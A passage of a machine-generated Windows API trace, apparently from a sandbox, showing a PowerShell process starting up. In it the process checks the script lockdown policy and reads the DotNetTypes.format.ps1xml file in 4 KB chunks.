lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0094.383] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0xcfdc4f74, Data2=0x14a0, Data3=0x45ef, Data4=([0]=0x8a, [1]=0x26, [2]=0xf6, [3]=0x4b, [4]=0xb4, [5]=0xe3, [6]=0x38, [7]=0x57))) returned 0x0 [0094.418] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x391daddb, Data2=0x2da6, Data3=0x45c0, Data4=([0]=0x8f, [1]=0x2b, [2]=0xa8, [3]=0x7d, [4]=0xca, [5]=0x3, [6]=0x4d, [7]=0x7f))) returned 0x0 [0094.421] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x49ace8c3, Data2=0xdf6e, Data3=0x4a44, Data4=([0]=0x82, [1]=0x19, [2]=0x99, [3]=0x70, [4]=0x3a, [5]=0xbb, [6]=0xf6, [7]=0x99))) returned 0x0 [0094.423] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x8eee6fdf, Data2=0x4a09, Data3=0x491d, Data4=([0]=0x9d, [1]=0x47, [2]=0x80, [3]=0x2b, [4]=0xe8, [5]=0x15, [6]=0x6a, [7]=0xd3))) returned 0x0 [0094.423] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x609bf079, Data2=0xbc8e, Data3=0x499a, Data4=([0]=0xa2, [1]=0x5e, [2]=0x6c, [3]=0x88, [4]=0xa4, [5]=0x45, [6]=0x5f, [7]=0x82))) returned 0x0 [0094.424] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x265350cf, Data2=0xf61e, Data3=0x416d, Data4=([0]=0x84, [1]=0xb0, [2]=0xd4, [3]=0xed, [4]=0x5d, [5]=0x64, [6]=0x34, [7]=0x74))) returned 0x0 [0094.424] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x2668710d, Data2=0xf2c7, Data3=0x4d5f, Data4=([0]=0x8a, [1]=0xaf, [2]=0xa2, [3]=0xb2, [4]=0x1d, [5]=0x94, [6]=0xc6, [7]=0x3))) returned 0x0 [0094.424] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x427dd24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0094.424] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0094.424] GetSystemDirectoryW (in: lpBuffer=0x42c9ac0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0094.424] CoTaskMemFree (pv=0x42c9ac0) [0094.424] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427dbf8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0094.424] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dc74, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0094.425] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e0d4) returned 1 [0094.425] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e150 | out: lpFileInformation=0x427e150*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0094.425] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e0d0) returned 1 [0094.425] WldpGetLockdownPolicy () returned 0x0 [0094.425] GetSystemInfo (in: lpSystemInfo=0x427e17c | out: lpSystemInfo=0x427e17c*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0094.425] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e108 | out: phkResult=0x427e108*=0x528) returned 0x0 [0094.425] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e124, lpData=0x0, lpcbData=0x427e120*=0x0 | out: lpType=0x427e124*=0x0, lpData=0x0, lpcbData=0x427e120*=0x0) returned 0x2 [0094.425] RegCloseKey (hKey=0x528) returned 0x0 [0094.425] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x427dc1c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0094.426] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e110) returned 1 [0094.426] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\dotnettypes.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x528 [0094.426] GetFileType (hFile=0x528) returned 0x1 [0094.426] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e10c) returned 1 [0094.426] GetFileType (hFile=0x528) returned 0x1 [0094.426] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x0 [0094.426] ReadFile (in: hFile=0x528, lpBuffer=0x6c0c8dc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6c0c8dc*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.446] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x1000 [0094.447] ReadFile (in: hFile=0x528, lpBuffer=0x6c0c8dc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6c0c8dc*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.448] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x2000 [0094.448] ReadFile (in: hFile=0x528, lpBuffer=0x6c0c8dc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6c0c8dc*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.449] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x3000 [0094.449] ReadFile (in: hFile=0x528, lpBuffer=0x6c0c8dc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6c0c8dc*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.449] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x4000 [0094.449] ReadFile (in: hFile=0x528, lpBuffer=0x6c0c8dc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6c0c8dc*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.449] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x5000 [0094.449] ReadFile (in: hFile=0x528, lpBuffer=0x6c0c8dc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6c0c8dc*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.450] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x6000 [0094.450] ReadFile (in: hFile=0x528, lpBuffer=0x6c0c8dc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6c0c8dc*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.450] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x7000 [0094.450] ReadFile (in: hFile=0x528, lpBuffer=0x6c0c8dc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6c0c8dc*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.450] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x8000 [0094.451] ReadFile (in: hFile=0x528, lpBuffer=0x6c0c8dc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6c0c8dc*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.451] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x9000 [0094.451] ReadFile (in: hFile=0x528, lpBuffer=0x6c0c8dc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6c0c8dc*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.451] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0xa000 [0094.451] ReadFile (in: hFile=0x528, lpBuffer=0x6c0c8dc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6c0c8dc*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.452] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0xb000 [0094.452] ReadFile (in: hFile=0x528, lpBuffer=0x6c0c8dc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6c0c8dc*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.452] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0xc000 [0094.452] ReadFile (in: hFile=0x528, lpBuffer=0x6c0c8dc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6c0c8dc*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.452] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0xd000 [0094.453] ReadFile (in: hFile=0x528, lpBuffer=0x6c0c8dc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6c0c8dc*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.453] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0xe000 [0094.453] ReadFile (in: hFile=0x528, lpBuffer=0x6c0c8dc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6c0c8dc*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.454] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0xf000 [0094.454] ReadFile (in: hFile=0x528, lpBuffer=0x6c0c8dc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6c0c8dc*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.454] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x10000 [0094.454] ReadFile (in: hFile=0x528, lpBuffer=0x6c0c8dc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6c0c8dc*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.455] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x11000 [0094.455] ReadFile (in: hFile=0x528, lpBuffer=0x6c0c8dc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6c0c8dc*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.455] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x12000 [0094.455] ReadFile (in: hFile=0x528, lpBuffer=0x6c0c8dc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6c0c8dc*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.456] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x13000 [0094.456] ReadFile (in: hFile=0x528, lpBuffer=0x6c0c8dc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6c0c8dc*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.456] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x14000 [0094.456] ReadFile (in: hFile=0x528, lpBuffer=0x6c0c8dc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6c0c8dc*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.456] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x15000 [0094.456] ReadFile (in: hFile=0x528, lpBuffer=0x6c0c8dc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6c0c8dc*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.457] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x16000 [0094.457] ReadFile (in: hFile=0x528, lpBuffer=0x6c0c8dc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6c0c8dc*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.457] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x17000 [0094.457] ReadFile (in: hFile=0x528, lpBuffer=0x6c0c8dc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6c0c8dc*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.457] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x18000 [0094.458] ReadFile (in: hFile=0x528, lpBuffer=0x6c0c8dc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6c0c8dc*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.458] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x19000 [0094.458] ReadFile (in: hFile=0x528, lpBuffer=0x6c0c8dc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6c0c8dc*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.458] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x1a000 [0094.458] ReadFile (in: hFile=0x528, lpBuffer=0x6c0c8dc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6c0c8dc*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.459] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x1b000 [0094.459] ReadFile (in: hFile=0x528, lpBuffer=0x6c0c8dc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6c0c8dc*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.459] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x1c000 [0094.459] ReadFile (in: hFile=0x528, lpBuffer=0x6c0c8dc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6c0c8dc*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.459] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x1d000 [0094.459] ReadFile (in: hFile=0x528, lpBuffer=0x6c0c8dc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6c0c8dc*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.460] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x1e000 [0094.460] ReadFile (in: hFile=0x528, lpBuffer=0x6c0c8dc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6c0c8dc*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.460] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x1f000 [0094.460] ReadFile (in: hFile=0x528, lpBuffer=0x6c0c8dc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6c0c8dc*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.460] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x20000 [0094.460] ReadFile (in: hFile=0x528, lpBuffer=0x6c0c8dc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6c0c8dc*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.461] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x21000 [0094.461] ReadFile (in: hFile=0x528, lpBuffer=0x6c0c8dc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6c0c8dc*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.461] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x22000 [0094.461] ReadFile (in: hFile=0x528, lpBuffer=0x6c0c8dc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6c0c8dc*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.461] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x23000 [0094.461] ReadFile (in: hFile=0x528, lpBuffer=0x6c0c8dc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6c0c8dc*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0094.462] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x24000 [0094.462] ReadFile (in: hFile=0x528, lpBuffer=0x6c0c8dc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6c0c8dc*, lpNumberOfBytesRead=0x427e180*=0x4af, lpOverlapped=0x0) returned 1 [0094.462] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x244af [0094.462] ReadFile (in: hFile=0x528, lpBuffer=0x6c0bd2b, nNumberOfBytesToRead=0x351, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6c0bd2b*, lpNumberOfBytesRead=0x427e180*=0x0, lpOverlapped=0x0) returned 1 [0094.462] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x244af [0094.462] ReadFile (in: hFile=0x528, lpBuffer=0x6c0c8dc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6c0c8dc*, lpNumberOfBytesRead=0x427e180*=0x0, lpOverlapped=0x0) returned 1 [0094.464] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0094.464] GetSystemDirectoryW (in: lpBuffer=0x42c9ac0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0094.464] CoTaskMemFree (pv=0x42c9ac0) [0094.464] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427dbe8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0094.464] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dc64, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0094.464] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e0c4) returned 1 [0094.464] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e140 | out: lpFileInformation=0x427e140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0094.465] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e0c0) returned 1 [0094.465] WldpGetLockdownPolicy () returned 0x0 [0094.465] GetSystemInfo (in: lpSystemInfo=0x427e16c | out: lpSystemInfo=0x427e16c*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0094.465] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e0f8 | out: phkResult=0x427e0f8*=0x6f0) returned 0x0 [0094.465] RegQueryValueExW (in: hKey=0x6f0, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e114, lpData=0x0, lpcbData=0x427e110*=0x0 | out: lpType=0x427e114*=0x0, lpData=0x0, lpcbData=0x427e110*=0x0) returned 0x2 [0094.465] RegCloseKey (hKey=0x6f0) returned 0x0 [0094.465] CloseHandle (hObject=0x528) returned 1 [0094.465] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x427dc64, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0094.465] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e0fc) returned 1 [0094.465] GetFileAttributesExW 